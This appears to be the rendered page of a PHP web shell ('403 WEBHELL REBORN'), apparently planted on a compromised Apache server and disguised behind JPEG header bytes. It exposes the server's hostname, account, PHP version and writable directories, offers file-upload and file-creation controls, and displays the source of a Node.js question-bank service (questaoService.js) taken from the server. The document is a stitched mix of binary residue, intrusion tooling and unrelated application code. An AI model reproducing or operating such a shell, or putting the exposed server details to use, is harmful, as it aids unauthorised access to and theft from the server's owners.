ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apicentralquestoes/src/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apicentralquestoes/src/services/questaoService.js
const { Sequelize } = require("sequelize");
const Comentario = require("../models/Comentario");
const Questao = require("../models/Questao");
const User = require("../models/User");
const MENSAGENS_ERRO = require("../utils/mensagensErro");
const { validarEntradaQuestao } = require("../validations/questaoValidations");

const questaoService = {
  criarQuestao: async (dados) => {
    const erroValidacao = validarEntradaQuestao(dados);
    if (erroValidacao) return erroValidacao;

    try {
      const questao = await Questao.create(dados);
      return questao;
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },

  atualizarQuestao: async (id, dados) => {
    const erroValidacao = validarEntradaQuestao(dados);
    if (erroValidacao) return erroValidacao;

    try {
      const questaoExistente = await Questao.findOne({ where: { id } });
      if (!questaoExistente) {
        return { erro: 404, mensagem: MENSAGENS_ERRO.QUESTAO_NAO_ENCONTRADA };
      }

      await Questao.update(dados, { where: { id } });

      return { mensagem: "Questão atualizada com sucesso." };
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },

  obterQuestoes: async (segmento, disciplina, ano, assunto, prova, id) => {
    try {
      const filtros = {};
      if (segmento) filtros.segmento = segmento;
      if (disciplina) filtros.disciplina = disciplina;
      if (ano) filtros.ano = ano;
      if (assunto) filtros.assunto = assunto;
      if (prova) filtros.prova = prova;
      if (id) filtros.id = id;

      const questoes = await Questao.findAll({
        where: filtros,
        order: Sequelize.literal("RAND()"),
        include: [
          {
            model: Comentario,
            as: "Comentarios",
            order: [["createdAt", "DESC"]],
            include: {
              model: User,
              as: "User",
              attributes: ["nome", "email"],
            },
          },
        ],
      });

      return questoes;
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },

  deletarQuestao: async (id) => {
    try {
      const questaoExistente = await Questao.findOne({ where: { id } });
      if (!questaoExistente) {
        return { erro: 404, mensagem: MENSAGENS_ERRO.QUESTAO_NAO_ENCONTRADA };
      }

      await Questao.destroy({ where: { id } });
      return { mensagem: "Questão deletada com sucesso." };
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },
};

module.exports = questaoService;

Anon7 - 2021